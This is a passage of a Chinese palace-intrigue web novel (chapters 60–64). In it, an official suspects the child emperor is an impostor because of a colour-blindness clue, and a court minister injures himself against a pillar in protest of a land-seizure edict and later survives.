徐卿安回府之后有些心不在焉,荀阳见了不禁问道:“怎么了?看起来魂不守舍的。” 说着,荀阳对着徐卿安左右看了看,在寻见领口上的那抹红后,表情立马揶揄,上手对那位置扯了扯道:“这不都印下来了吗?” 徐卿安没管他的打趣,手抚上他刚才所扯位置的同时抬眼看他,眸光幽深道:“你还记得我以前曾问过你的难辨红绿之症吗?” 荀阳点点头:“嗯,记得,还是你写信让我到京城时问我的。” 徐卿安:“那时你便告诉我此症乃先天之症,难得治愈。” “嗯,对。”荀阳依旧肯定。 然而徐卿安眉头却愈发紧了。 —— 当夜,张凡来了府中。 张凡:“郎君之前让去确认的事已经确定好。”他停一瞬,再道,“所有答案与四年前所得到的完全一致,就是其中细节也一样。” 从大狱回来那夜,徐卿安就联系了手下人去复查当年的事情,而今夜张凡就是来告诉他结果的。 说完那话后张凡见徐卿安久未言语,便道:“郎君这次再复查往事可是觉得当年漏查了什么?” 徐卿安垂眸:“没有,不过是想再确认一遍罢了。” 话虽如此,可是张凡分明见上座之人神色黯然,心中像藏着事,然而他也不好多问,因他知道自家郎君虽对一些事情执着,但也从不会因此误了公事,而他的那些心结说到底也只能由他自己消解。 时辰已晚,二人再说了几句话之后徐卿安便亲自送了张凡出府。 —— 送走张凡后,徐卿安并未就此安寝,而是到了阿筝房外。 近日阿筝已伤势大好,前些日子觉也睡得足,今日精神好, 晚间便也挑了些书来看。 正当她看得入迷时,房门被叩响。 “阿筝娘子,歇了么?” “徐大人?” 二人隔着房门对话。 徐卿安:“我有些话想问一问你,不知你现在可是方便?” 阿筝请了徐卿安入内,然而因在夜间,她到底听了徐卿安的安排,坐在房中的屏风后与他叙话。 “不知徐大人想问我什么?”坐下后,阿筝先开了口。 房门大开着,徐卿安一眼望向远处的夜空:“我想问一问你,在你心中,你家娘娘是一个什么样的人?你与她相识的四年里,期间又发生了哪些事?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 徐卿安深夜到访就是为了问这两个问题,阿筝不免感到意外。 而虽说以前她也能感受到上官栩对屋中之人的防备,但这些日子得他照顾,她便也觉得他也不完全是阴狠薄情之人。 况且他问的也都是对上官栩计划无关紧要之事,阿筝便觉得与他说一说这两个问题也无妨。 她道:“娘娘在我心中是一个极尽体贴温柔的人,她总是想着如何将她身边的人照顾好,甚至不惜为此亏待自己。” 徐卿安闻言,不由得想起她为了那些人而对他做出的让步,做出的交易。 可是他道:“然而没有无缘无故就对旁人好的人,你就没想过她是别有用心?” “别有用心?”阿筝听了这话有些不快,不过她暂且将那情绪压制着,语气依旧道,“可是什么值得她别有用心呢?她对上官大人好可以说是因为他们的亲缘关系,对前朝百官好亦可以说是为了势力拉拢,但对如我这般生活在世间就如浮萍的人好是为了什么呢?” “就为了今日让我在徐大人面前夸她一句好么?”阿筝停了瞬,肯定道,“然而她不是苏相,我也不是能将她的这些好名声扩散出去的人。” “但你因她的这些好而心甘情愿对她死心塌地,甚至可以为她赴死,就像上次苏五郎的事情,若那事没有你的相助便不会那么顺利。你看,这不就是你对她的好处么。”徐卿安仍无情道。 “可是那事情也是我自己做出的决定,从未与她有过商量,她如何就能确定我能带给她这样的好处?”阿筝当即反驳道,她语气亦有些强烈,“而且出事之后她也并未放弃我,在得知我还活着时也数次出宫来看望我,纵是她是想利用我,但我这样一个人,这样一个身份,依现在这样的境况,还值得她付出这么多么?” 说完后阿筝撇目控了控,默了片刻之后再尽力轻声道:“然而若徐大人说这一切都在她的算计之中,她料事如神到能够看透每一个人的心中所想,她留着我也只是觉得我还有更大的用处,而她以往付出的那些对她来说也无足轻重,那我无话可说。” 话落,阿筝垂了眸,不再言语。 然而屏风外也久久没有传来动静。 阿筝不由得抬眼向外看去。 只见那坐在外间罗汉榻上的人一动不动,坐姿一如他刚落坐那样,若要说唯一的区别,便是他原本昂首看着远处夜空,现在却微垂了头对着地板出神。 她不知他想法如何,但这些日子得他照料,心中当也是对他生了感激,她便再温声道:“或许官场之上讲究的就是要对旁人留个心眼吧,所以徐大人便对诸多人事都持了怀疑的态度,然而我却也知徐大人本性应是向善的,心也是温软的,不然若如徐大人刚才所说的那一番话一样,那徐大人如今这般细致待我,莫非也是对我有所利用的了?” “然而我现下一无身份,二使不得武功,就连自己到底是谁也知道得并不真切,便实在不知徐大人能从我这儿求得什么了。”说着,阿筝笑了笑。 “我现在问你话又何尝不是为了想从你身上求得什么。”屏风外的人终于开了口,他没有延续之前的话题,声音依旧淡漠,“再说说吧,你们那四年里又都发生了些什么?” 这话虽是说的“你们”,但阿筝知道,他其实想问的是自家娘娘。 阿筝便先道:“我才进太极宫的头一年,因身子受创不久,尤其是脑子不甚清醒,时常恍惚着,所以便对那一年的事情记得并不真切,记下来的也并不多,主要还是对近两三年的事有些印象。” “印象中最开始的一两年,立政殿中的所有人,尤其是娘娘和青禾,行事都极为小心谨慎,应对生活诸事还好,但一旦涉及到前朝的人事,殿中气氛便会紧滞许多,如履薄冰,总之和现在立政殿中的光景是大不一样的。” 徐卿安垂眸听着阿筝的话,脑中将那几年的场景勾勒出来。 最开始的时候,当是她成为太后、接掌上官一族势力不久的时候,那时苏望势头正盛,她在朝堂上的谋划又才初初开始,自然许多事情她便要伏低做小,确保万事低调不露风头,想来她那段时日并不好过。 而同时,阿筝还继续道:“记得那时,娘娘眉眼间便似总有愁云,甚至有些时候胃口和睡眠也并不好。” 屏风外,徐卿安搭在案几上的手指一动,将案沿倏然扣紧:“那她便一直将这种情况放任下去么?” 阿筝摇头轻声:“也不是,有些时候会让太医来看看,喝点安神的汤药缓缓,但大多数时候,娘娘都会去立政殿中的侧室里独自待一会以此调整自己。” 侧室…… 他记得她当初曾在里面摆过一张小榻,再在一旁配了一方小几,且因那侧室的一面光线好,几扇窗户连在一起,所以冬日时她便常爱在里面煮茶小憩。 她对那间侧室当真是尤为喜爱。 所以如今听到她心情烦闷时就会把自己关进去待会儿,他便也不觉稀奇。 徐卿安问:“那她一般会待多久?” 阿筝思忖道:“短时一两刻,长时……会有好几个时辰。” “一直都是她一个人?” “偶尔青禾会进去看看。” 徐卿安向屏风方向侧了侧头:“你呢?你不去?” 阿筝摇摇头,如实道:“我从未进过侧室。” “为何?”徐卿安觉得奇怪。 阿筝道:“也没有为何,就只是恰好每次遇上娘娘在侧室休息时都因种种原因没有进去,或是她嘱咐过任何人都不要打扰她,或是我一去见她时,她便也出侧室了,且那侧室打扫娘娘也从不安排旁人,多是她自己上手。” 徐卿安沉吟片刻,道:“那你就不好奇她侧室中到底有什么么?” 阿筝轻声:“初时或许有些吧,但后来就不去想了,娘娘心中装了太多事,生了太多情绪,便总得有一方属于她自己的空间让她能够排解自己,我实在不应去打扰她。” “你为她考虑得真周到。”徐卿安低声。 阿筝向外望去,透过纱质屏风只能隐约看见外间人身子的轮廓,看不清神态。 阿筝迟疑片刻,终是开口道:“我能问徐大人一个问题么?” “嗯。” “您刚才说您今日问我话是为了从我身上求得什么,那不知徐大人想求的究竟是什么呢?而徐大人虽然问话的是我,但所问内容却处处与娘娘相关,所以徐大人是想了解娘娘的什么?然而如今您与她走得那般近,您又为何不亲自去问她呢?” 话落,房中静了下来,屏风外的那人没有立马回答她的问题。 过了片刻,伴随着一声轻轻地长叹声,外间那人开了口:“或许就如你之前所说的那样的吧,在宦海中沉浮久了便染上了一些不愿信人的毛病。” “如今我虽与你家娘娘共谋事,但我与她的身份相差在前,那我的处境又何尝不算是另一种‘伴君如伴虎’呢?她既是我的主君,那我为了我以后的路便难免需要打探些主君的脾气秉性、往事消息。” 说着,他 说不出是自嘲地,还是如洞悉局势后得意地轻笑一声:“所以你说,我抱着这样的目的,我怎能亲自去问她呢?” 阿筝便不言语了,然而她其实并不觉得他心中想的是他口中说的这般,不过她也知多问无用,他亦不会多说。 徐卿安站起身:“今夜实在打扰阿筝娘子了,时辰也不早了,阿筝娘子便早些休息吧,我先告辞了。” 阿筝在屏风后也跟着起身:“徐大人慢走。” 房门被带上,屋外脚步声渐远。 阿筝猜不透徐卿安真实所想,但她莫名觉得他今夜浑身散发出那一股寞然愁绪与她这几年来在自家娘娘身上看到的何其相似。 —— 上官栩今夜做了个好梦,梦里她回到了以前二人在立政殿侧室里的时光。 那间侧室设置得尤其好,冬暖夏凉,美人榻设于窗下,冬日时阳光从窗外铺洒进来,配合着屋中的清香茶气,总是让人觉得温暖惬意。 然而更惬意的还是他来时,他坐在榻上,她枕在他腿上,一坐一躺,他抚着她鬓边的发丝,她玩着他另一只手的手指。 他还时不时会拿本书,挑着上面的内容温声念给她听。 岁月静好,流年安然。 梦中,阳光从他耳后投来,她仍旧看不清他,但是她依旧高兴,甚至比以往在梦中见到他都要高兴。 因为她闻见他身上的兰香了。 这么多年来,他在梦中带给她的实在太少,他不仅不让她看清他的脸,就是他原本与他相关的一切——兰香、声音,他都不曾带给她,只偶尔牵牵她的手,而这样短暂的触碰都已是奢侈。 眼角沁出的泪顺着留下,上官栩阖目枕着软枕,唇角扬起笑。 他的香她已经能闻到了,那他的脸她便早晚也能看见的吧? 第62章 徐卿安给小皇帝的授课不是如弘文馆的侍讲那般每日都要进行,一般来说,每次他的授课结束之后,都会隔几日再进行下一次。 时隔几日,徐卿安再次去给小皇帝上课,课上一切照旧,只依着之前的计划进行,只是这一次课程结束后,徐卿安问了问小皇帝对丹青的想法。 “陛下喜欢画画么?” 小皇帝认真回答:“其实也还好,不过偶以丹青做放松心情之法。” 徐卿安再问:“所以那花鸟山水图上的颜色也都是陛下依自己的想法来的?不管是葱绿草木、青黛远山还是桃红花卉、枣红硕果。” 小皇帝思忖道:“嗯……也不算都是依着自己的想法来的吧,只是当时想画什么便画什么,那些颜色也都是照着那些景物原本的样子来的,虽然也有些是朕胡乱调色画出来的……” “怎么了?徐大人是觉得画上哪里有不妥么?”小皇帝虚心请教道。 徐卿安笑了笑,温和道:“没有,只是臣觉得画上之物的颜色都很细致,是许多人绘画时都注意不到的细节,便想着问一问陛下那时是如何想的,没想到陛下旨在‘如实呈现’四字便解了这一题,臣实在敬佩。” 小皇帝被夸得害羞。 徐卿安却将目光再度聚焦到了那幅画上。 —— 每月初一,逢朔朝,京城百官九品以上者都需朝参。 临上朝前,青禾为上官栩梳妆时,忧声道:“娘娘真的决定今日就与苏相彻底摊牌么?” 上官栩望了望镜中的自己,轻笑一下道:“其实发生这么多事后再装岁月静好也没有太大意义,最晚不过苏行正死时,他便知道我不会与他罢休了,他便知道四年前的账我定要与他算一算了。” 青禾:“只是今日是朔朝,来得人太多,苏氏的党羽便也多,奴婢便怕他真不管不顾起来局势会控制不住。” “是,”上官栩承认,“于今日行事确实有风险,然而也正是因为今日人多,便也是拆穿他真面目的最佳时期。要知道,有多少拥护他的人不过都因他虚伪的假面而被欺骗。” 青禾:“那徐大人也与娘娘做好配合了么?” 说到徐卿安,上官栩才发觉自己已和他有几日未曾在私下见过,期间若有消息需要互通也都是借由他人传递。 今日之事事关重大,两人都需在此事上下足功夫准备,且虽两人在明面上已然走得很近了,但为了不让苏望轻易察觉他们的动向,在今日之前两人都默契地选择了减少见面的次数。 而除此以外,对上官栩而言,她还有一个不想见他的原因—— 她觉得他最近有些奇怪,或者更准确地说是她对他的感觉有些奇怪,她觉得他的气息越来越像她记忆中的…… 诚然,她最初的想法的确带了些把他视作替代之物的恶趣味,但是如果这种相似感越过界限,甚至就要达到鸠占鹊巢的程度,那便是她要阻止的了。 上官栩望着镜中自己的模样,眼看着一股忧虑从眉心散开。 到底是会拿捏人心…… 她得快些调整,不能让他占了上风。 “对了娘娘,陛下那边的人来说,徐大人准备教陛下丹青。”青禾突然想起道。 上官栩回神:“丹青?”她思忖,“怎么就想到教丹青了?” 之前让他教写字,他都以耗时太长推拒了过去,结果现在却又主动提及要教丹青? 要知道,这绘画与写字要想练出成果都非一日之功。 上官栩问:“他可有说要从哪一块教起?” 青禾答道:“大概是花鸟画。” 果然。 上一次他在见到小皇帝的那幅画时她便觉得他表现得不太对劲,而现下他要教的果然和那幅山水画相关。 只是他为何会关注到一幅画?还只是一幅幼童所作的画。 然而上官栩现下还来不及细想,因今日早朝她还有更重要的事要去做。 —— 初一朔朝,百官朝参,太极宫外队伍整肃,百官依次而入。 徐卿安因着之前升任了御史中丞和中书舍人的原因,正五品的官阶使得他现在所在的位置还算在队伍前列。 而二人虽久未私下见面,但众臣山呼之后,徐卿安抬眼时却仍能刚好与垂帘之后的那人视线相接。 目光相聚几息,他垂了眸低低一笑。 上官栩在高座上将他的神情尽收眼底,同样勾了勾唇。 朔朝虽然参加的官员多,但一应章程与往日常参朝无异,山呼之后便是大监高喊“有本启奏,无本退朝”。 上官栩的计划便该在这时实施。 然而下一刻,她安排的那人还未来得及出列,便听百官列首处传来一声老沉朗声。 “臣有本奏。” 上官栩眼帘霎时一滞,神色瞬间一凝。 台阶下,苏望抬眼,森然往上瞧了一眼之后继续道:“现有关中、江南诸世家豪绅关于农田一事齐齐请愿。” “关中、江南诸地土地肥沃,素为我大晋粮食生产储备之地,诸多重要粮仓都在其中。” “然而如此沃土却有诸多沃土留存于贫民之中,而贫民家贫,人丁稀少,难以发挥沃土最大的作用,每年收获的产物不及其当有的半数,以此影响最后税收。近年来,天灾频发,粮食储备便尤为重要,故而江南诸世家豪绅愿担上为国之责,帮助朝廷增多粮食储量。” “为此,臣已同户部商议,拟定《良田优授令》,即根据家族人口、财力分配良田,以此发挥良田最大的作用,至于此前落在贫民手中的良田,此番新令颁布之后,分配到其土地的世家将会以市价支付其土地的费用。” 此言一出,朝堂上嗡声一片。 上官栩却一下明白了苏望的意图。 明面上,他以粮食储备为由重新分配良田,其实就是以此来拉拢各世家豪强! 所谓的土地费用根本就是幌子,历代以来,但凡涉及此类的土地改革根本就不可能做到如书面所写的那般公正,什么市价,什么买卖,其中只会存在各种暗箱操作,巧取豪夺,最后都只会落得个“豪强愈富,百姓愈贫”的结果。 且不先考虑为何在她对各世家有打算时 苏望也对世家动了心思,就是他这计策也实在毒辣,实在破釜沉舟。 当下情况,土地在任何地方都是根本,历朝历代到最后的问题也都会落在土地上,苏望出身书香门第,又作为一朝之相,他不可能不知道土地兼并带来的后果,然而他仍旧做了,甚至还是冒着失去底层百姓民心的风险去做。 而他选择将这件事情直接放到朔朝上来说的理由也很简单——同她之前的打算一样,都想将对方架得下不来台。 身在队列中的徐卿安同样蹙眉沉思,然而他心中甚为不安,觉得事态发展远不止当下这般情景。 上官栩尝试周旋道:“苏公有此想法为何不先在中书省中商议?” “既有章程何须再商议?” “有何章程?” “《良田优授令》中细节已然敲定,只待拟定文书。” “看来苏公是觉得此令必发了?” 苏望抬眼,幽声:“那殿下可是觉得哪里有不妥之处或是需要修改之处?” 他果然是在给她挖坑。 如今朝堂之上的官员有一半多出身世家豪强,且就算达到不到显贵门第,依其拟定的《良田优授令》来看,他们的家世也足以让他们在新政占到好处,而若上官栩于此刻驳了他的想法,那无疑就是将所有会从中获利的官员都得罪。 然而她若真应了他的想法,那此后关中、江南的世家豪强将会与他绑定得更深。 上官栩迂回:“既是新政自然要好生审查每一项条例。” 苏望:“颁布之前自当如此,然而现下,殿下只需确认此事是否继续施行即可。” 说着,他忽而笑了下:“或者,殿下实在担心条例细节的话,那臣便还有一法可让殿下安心。” “中书舍人徐大人何在?” 徐卿安将手中的笏板捏了捏,出列道:“不知苏公唤下官何事?” 苏望噙笑道:“徐大人有双元之才,又任中书舍人一职,这起草新政条例由你来负责再合适不过。” “可是苏公,此事尚还未定下。” “哦?难道徐大人也觉得此令哪里有问题?” 殿内气氛又冷了一瞬,上官栩叠在身前的手紧紧扣住。 看来今日苏望还想要一箭双雕。 且真论起来,徐卿安的处境当是比她还有险峻,毕竟江南之事经由之前的船商捅破后,他就被暴露在了明面上,也因此遭了诸多在那事中利益受损的豪强的怨恨,若是今日他再阻拦了苏望的新政,恐怕世家豪强便更容不下他了,而他若写了那份新政条例,那么他便也是新令的主要参与者,然而世家豪强自是不会记他的好,但那些因此失了地的寒门百姓却也要因此记恨他。 列首位置的那人目光一直锁在他身上,说不定比起新政的推行,那人更像看看他会选择哪种人去得罪。 徐卿安垂眸,不置一词。 片刻后,他蠕动唇瓣,准备开口。 “岂有此理!” 一声高喊骤然打破了殿内的沉寂。 徐卿安惊目抬首望去。 只因他知道,喊这话的人不是别人,而是张凡! 张凡此刻站了出来,直面苏望道:“苏公,我且问你,土地政令于国而言可是国朝根基,民生命脉?” 苏望悠悠颔首:“自然。” “既然苏公也知,那怎能因几句话就轻易将那政令敲定?” “我非几句话而敲定,而是得诸世家豪绅请愿,与户部商议之后的结果。” 张凡目光一凛,朗声道:“苏公此言差矣!世家豪绅有田宅千顷,衣食无忧,他们所请之愿,当真会顾及到黎民百姓?既又说要为国储粮,那为何他们现下粮食多有富余之际他们也不做表示?依我看,他们不过是想借储粮之名,想要更方便吞并小户薄田罢了!” 苏望深色沉凝:“张公未免想得太多,太过悲观绝对了吧,如如今情况而言,颁布此令就是有利国朝之举。” “有利国朝?”张凡扫向队列中某个位置一眼,再道,“且不说如今朝中有多少出自世家的同僚,又有多少人与那些豪绅盘根错节,就光私下商议定出的结果,焉能够确保公正?! “且此政令无疑是在向世家豪强倾斜,良田汇集,届时小农耕作无依,流民渐增……” “够了!”苏望喝道,“张凡,我念你是一朝相公已对你一再忍让,你胡搅蛮缠,空口污蔑在场诸多同僚之公心,可是想要打造你的一言堂!” 张凡气滞。 他怒目瞠视,胸膛起伏不止。 他忽地质问:“所以这天下万民,只看世家子弟么?寒门百姓皆是牲畜么!” “如此国朝根基何以稳固?!民生命脉又系于何处?!” 话落,他摘掉幞头掷地:“如斯如斯,我还有何颜面着这一身官袍!还有何颜面食生民俸禄!”随即毫不停歇地冲向殿中立柱。 徐卿安惊目:“张公!” 第63章 徐卿安到底是慢了一步。 他手拉上张凡的衣袂时,张凡的身体已然以不可阻挡之势冲向了殿柱,纵然因徐卿安的拉扯张凡缓了速度,但最后碰撞的力度仍是不小。 一国相公竟就这样被逼得在金殿上撞柱以死明志。 大殿之上一片愕然。 上官栩亦被殿中的场景震惊到,事情发生的第一时间,她便一下撩开垂帘站了出来。 “快宣太医!” 殿中,徐卿安跪地将人揽着,他看着怀中的人嘴唇轻动。 “二郎……二郎……” 他每一次喊之前嘴唇都无声张了张,徐卿安知道他想喊的是什么。 周景知在这里,他心中守护的陛下在这里。 “我在……”徐卿安握紧他的手,让他感知到他的温度,“我在。” “老师放心。” —— 此事之后,朔朝戛然而止,新政的章程推进自然也被搁置,但接下来的一段时间内太极宫内人流涌动亦是久经不止,太医院近乎所有太医都聚集于一间偏殿之中。 里间睡榻上,张凡额角的伤口已被处理,但是人仍在昏迷之中。 徐卿安眸色凝重,脸上的焦灼不可掩盖地在外间守候着。 “呼吸微弱,毫无意识,恐怕伤到了根本。”太医对上官栩叹声道。 上官栩声音低沉:“无论如何,先将命保住再说。” 太医再轻声叹,说只能尽力一试。 上官栩便将目光再度落到了一旁那身着绯红官袍、蹙眉无言的青年。 张凡性情温和,平日里和而不争,为官多年从未听说过他与谁发生过口角,甚至因为脾气太好还显得颇有几分逆来顺受的感觉,而这也是当年他能被苏望选为相公之一的关键原因。 可是如今,人人都以为的好脾气、任人拿捏的“弱”相公,今日竟为阻可称“国朝第一人”的苏相的新政,当庭撞柱寻死。如上官栩这样旁观了此事的外人都久久不能从中平复,更别说徐卿安这样与张凡关系甚笃的学生了。 “娘娘,人来了。” 青禾步入殿内,到上官栩身边轻声。 上官栩在此时收回了落在青年眉目间的目光。 而徐卿安也抬了眸。 “子阳!” 青禾话音落下时,徐卿安便看见她身后跟着的人是荀阳。 荀阳与徐卿安对上一眼,但驻足时仍先向上官栩行了礼:“草民参见殿下。” “之前见识过荀大夫的医术,今日张公情况又紧急,我便派人将他请来了宫里,而那时又见你守在张公榻边,我便没有将此事提前告知你。”上官栩向荀阳虚抬了抬手免礼后望向徐卿安道。 徐卿安垂眸寞声:“刚才见老师遇险,一时生了慌乱,忽略了许多细节,让娘娘费心了。” 现下情况上官栩也不欲多说,直接对荀阳道:“好了,情况紧急,先别说这些了,荀大夫快些进去吧。” 荀阳点了头,由太医院的人领了进去。 然而他刚进去不久,就有宫人出来道:“娘娘,荀大夫说他有东西落在了 住处,想请娘娘差人去帮忙拿一下。” 上官栩疑惑道:“什么东西?连太医院也没有么?” 也就在这时,寡言许久的徐卿安开了口:“娘娘不知,子阳行医有诸多自制的医具和药物,他用了这么多年也早已有了习惯,所以一般不用他人之物替代。” 徐卿安一开口,上官栩便突然想到:“你与他相识多年,当是对他诸多习惯都已熟悉,他又恰好住你府上,不如就由你跑这一趟罢。” 徐卿安颔首:“张公本就是我老师,这一趟也着实该由我去。” —— 徐卿安骑了快马出宫,一刻不停歇地直接往府宅赶去。 果然,在他下马回府时,顾筹正在府中等他。 “郎君。” 徐卿安快步上前,抬手止了顾筹的礼,又直接道:“我刚在宫中听子阳那话便知府中有急事。怎么了安策,可是哪里发生了要紧事?” 顾筹沉眉敛目,先问:“看郎君脸色不太好,不知张公情况如何了?” 徐卿安微摇头:“还不确定,只现在仍在救治着。” 房中沉寂一瞬。 “先说你那边的事吧。”徐卿安率先开了口。 顾筹点头:“属下今日是有两件事要报于郎君,一件是与阿筝身世相关,一件,是郎君之前吩咐去查的赵王世子之事。” —— 顾筹先说到阿筝的事:“派出去的人从阿筝娘子透露的她原本的姓氏和那把赵军匕首为切入点开始调查,果然查到当年赵王亲事府中有一个姓姚亲兵校尉,不过巧的是那亲兵校尉在陛下登基后不久、赵王封号封存后就没了下落,听说是当时他自行请退的。” 徐卿安问:“可有他家中人员相关的信息?” 顾筹道:“他成过亲,有一儿一女,但后来都与他一起下落不明。” 徐卿安思忖:“阿筝好像也有一个弟弟……” 顾筹轻“嗯”:“所以那姚姓亲卫极有可能与阿筝有亲属甚至父女关系,最主要的是,按时间信息也都对得上。” 徐卿安再问:“可有那校尉的详细生平?” 顾筹从袖中取出一本册子递过去:“都在这上面,此人原是禁军出身,后在赵王封王开府后就被调去了赵王的亲事府做了赵王亲卫,后再跟着赵王赴平州就藩。” 徐卿安将册子大致扫了一眼:“嗯,看来此人和阿筝的关系八九不离十了,之后得空我将这些信息都说与阿筝,看看能不能帮她想起什么。” “另一件事呢?”徐卿安合了册子,放下后抬眼问道。 赵王世子,亦是当今圣上。 顾筹对徐卿安突然调查此事的缘由并不清楚,但亦心知这事并不简单,他道:“当年赵王封号封存后,赵王府中的仆从也都被遣散或安排了不同的去处,但好在去调查的人寻到了一个当年在赵王府内院侍候的嬷嬷。” “她说在她的印象中,当年的小世子好像确实有眼疾,不过她不在近前侍候,具体是什么情况她并不太清楚,只当时有过这样的说法,不过也持续多久就再无消息了,甚至那事连内院都没传出过。” 熙宁七年初,在赵王的贺岁折子里还夹了一封密信。 赵王在信中写到其子双眼似对红绿两色的分辨不太敏感,为解决这个问题,期间他也曾问过赵王府的医官,但医官对此也没有好的法子,故而他才写了密信到京城向当时的皇帝周景知求助,想看看太医院的太医们有没有办法。 亲王世子有这样的隐疾自然是不容扩散的,所以在一经发现小世子双眼有不对时,赵王府的内院便封锁了消息,周景知也是私下请的太医院中资历最高的太医过来询问。 只是太医院的太医也并无能够解决的办法。 于是,周景知便又写了信给荀阳,让他入京商议此事,结果那年上巳夜剧变,那让荀阳入京的密信竟成了他自己的救命信。 不过这些都是后话。 现下,坐在房中座位上的徐卿安听了顾筹的话之后沉默了许久。 徐卿安可以肯定的是,当年的赵世子是的确有难辨红绿的眼疾的,且他也不止从一个人处得知了此疾乃不可治愈之疾。 记得赵王曾在信中说过,世子的眼疾虽不至于完全不辨红绿,但只要两种颜色不那么艳丽时,世子就难分辨出了。 这也是当时徐卿安为什么给小皇帝做皮影时会用蓝黄两色为主,只因那两色对难辨红绿之人的双眼更为友好。 一直以来,徐卿安想的都是尽可能地照顾好他的那位侄子,那不仅是三王兄留在世上的唯一一个孩子,亦是幼年失怙的可怜孩童,直到他在殿中看到那幅色彩缤纷的山水花鸟图…… 那眼疾不可治愈,所以现在御座上的人是谁呢? —— 太极宫中,上官栩盯着水漏,一点一滴地盘算着时间。 里间内的人还在忙着,诸多宫女内宦匆忙出入,人影如潮水往复。 她叫住了一个从里出来的宫娥问:“里面如何了?” 宫娥如实道:“新来的荀大夫和太医们一起寻了稳定的法子,又施了针,张公现下情况看起来好多了。” 上官栩闻言沉吟,想起被派去拿医具的徐卿安,又再看了眼水漏,对候在一旁的青禾道:“派个人去徐府上看看,怎拿个东西这般久了还不见人回来,看看是否路上出了什么事。” 青禾应是。 然而过了不到半刻,约莫也就刚选好人派出去,青禾就从外面回来殿内。 “娘娘,徐大人回来了。” 上官栩抬眼看去,只见依旧穿着那身绯红官袍的青年挎着药箱从青禾身后向她走近。 他衣着分明丝毫未变,却掩盖不住一身的风尘仆仆,甚至眼中也多了几缕血丝,整个人看起来比刚才多了几分疲惫。 或许是短时间的来回奔忙造成的吧,上官栩并未就此多想。 而她对上他投来的眼神,见他深深地看她几息,又并未多言地说道:“我先把东西送进去。” 第64章 在徐卿安拿来医具后不久,荀阳就联合太医一起将张凡的情况彻底稳定了下来。不过生命危险并未就此完全消除,主要还要看接下来两日的情况。 张凡现在的身体状态并不适合移动,上官栩便予了恩典容他在宫中养伤。 同样的,徐卿安和荀阳也以贴身照顾之人的身份留了下来。 荀阳随太医一起下去休息时寻了个空当问了徐卿安府中的情况,徐卿安低声应了他,说已与顾筹碰上了面。 荀阳便松了口气,又苦诉道还好徐卿安来得及时,否则他在这里就演不下去了,因为以他的医术,后面送来的那些医具其实都是可有可无的。 徐卿安深知他的不易,感激说谢。 荀阳也明白徐卿安现下心绪不佳,宽慰地笑了笑,先离开了。 —— 待人都离开后,上官栩开口问道:“你要在这里守着么?” 徐卿安缓缓掀起眼帘看去,轻声道:“张公是我老师,我理应在这里守侯。且他这两日关键,身旁也离不得人。” 今日之后,张凡和徐卿安的师生关系便不再是秘密了。 虽说宫中最不缺人手,但把亲近之人的性命交给旁人守侯自己确实也不放心。 上官栩明白他的心思。 然而她亦是觉得他此刻眼中不只包含了对张公担忧的情绪,他如今虽然看起来疲惫但眼底却仍是亮的,亮得就像要将人的照透看清她到底想的是什么。 上官栩因他的眼神问道:“你……有话要与我说?” 徐卿安如被点醒般,瞬间收回不恰当的目光:“没有。” 然而一息之后却又缓和声音补充道:“现下张公还未脱险,我想先等他情况好些后再谈其他的事。” 上官栩自然理解他的心情,轻嗯道:“张公的事我也没料想到,现下还是他的身体更为重要,这 两日我也会多派些人来照顾他,有荀大夫和众太医你不必太过忧心。” 徐卿安沉默片刻:“他今日之举也实属超脱我的预料,我与他相识多年从未见过他如今日这般激动生怒。” “我知道他近几年虽看起来无为,但其实他一直关注着民间事,所有民生政令的推行背后都有他的身影,他出身不算高,亦见过太多民间疾苦,所以他为官之后一直致力于改变那些不好的境况。” “他深知做这些事情不能浮于表面,甚至若让他人注意到他做的那些事,恐怕反而会因利益牵扯而影响到正常的进程,故而一直以来,他都以低调姿态行事。只是今日那政令实在与他初心太过背道而驰,他便再难忍受,一时气急,行了撞柱之举。” 说着,徐卿安寞然垂头,面露自责道:“但我亦知道,他行今日之举还有见我被苏相施压,想转移注意力帮我脱险的原因。” 是啊,那时徐卿安被苏望架于两难之地,不管他回答什么,选择写与不写那政令他都会得罪人,或者直接被世家记恨,或者后来被世人唾骂。 上官栩感慨:“你们有近二十年的师生之谊,你又是他最年小的学生,他自然是想护住你的,且苏望今日的手段的确险恶,你那时可曾想过破解之法?” 徐卿安沉吟:“其实对他的安排,我应当会应下。” “我知道他想要什么样的结果,所以我不会在一开始就直接拒绝他的安排。草拟文书,颁布政令,上行下效,每一步都需要时间,所以他那政令真想要彻底落实下去不可能只在这一朝一夕。” “这也是为什么他会冒着失了底层民心的风险在朔朝上提出新令了,因为他也知道这一切都需要时间,而一有时间,便有周旋的机会,然而……” “然而他没想到张公在此事上态度如此强硬,便是任何可能会让新政施行下去的机会他都不会容忍。”在徐卿安弱声后上官栩替他说道。 “张公看似性软,却也有一身风骨。” 说完,上官栩见徐卿安蓦地深深地向她望来。 “你为何用这样的眼神看我?” 徐卿安幽声:“娘娘可觉得如张公这样的臣子算是忠良之臣?国朝的股肱之臣?” 上官栩闻言蹙了蹙眉,她以为他这就开始邀功了。 然而徐卿安心中想的却是工部之前受害的那几位尚书侍郎。 不过张凡这次九死一生,徐卿安身为他的学生为他请功求安慰也是人之常情。 思及此,上官栩便也温和这声音道:“当然是了,如今张公这样的人才应是受人敬仰的人。” 徐卿安可有可无地笑一下。 他道:“这里便由臣来守着吧。今日前朝生了这么大的乱子,想来还有诸多事要等着娘娘去处理呢。” 今日的事实在太巧了,上官栩想对世家势力有打算,而苏望敬业同样寻了招揽世家人心的法子。现下,上官栩的确需要去确认她原本在世家中的那些人还可用不可用。 她轻声应了他:“好,你若有事直接唤外面的宫人就好。” 徐卿安亦颔首说了好。 —— 张凡总算度过难关,脱离生命危险。 在这最难熬的两日中,徐卿安几乎没怎么闭眼地守在榻边陪候。 “还不睡觉?” 在听说张凡苏醒后徐卿安却还不去休息的消息时上官栩惊叹道。 原以为他不过薄情寡义之人,但这一次他对他的恩师倒确确实实尽心尽力了。 青禾又道:“不过刚才张公醒的那段时间特意向他嘱咐了让他去休息,他不好拂了张公的意,现下便暂时回了给他安排的寝殿,只是他向宫人吩咐了待到张公歇下后就去唤他,他要继续去榻前守着。” “看来是还想熬啊。”眼见着又是一晚深夜了,上官栩不由得低叹,她想了想,对青禾道,“罢了,你去给那些宫人说,今夜不要再让他过去了,然后再去膳房帮我备一份东西。” —— 离张凡休养处不远的宫殿里,青年男子坐席上,手倚着凭几,支着额。 许是不想让自己睡得太深,徐卿安就这样坐靠着,闭目养着神。 上官栩在殿外时就止了青禾,自己独自端了托盘进去。 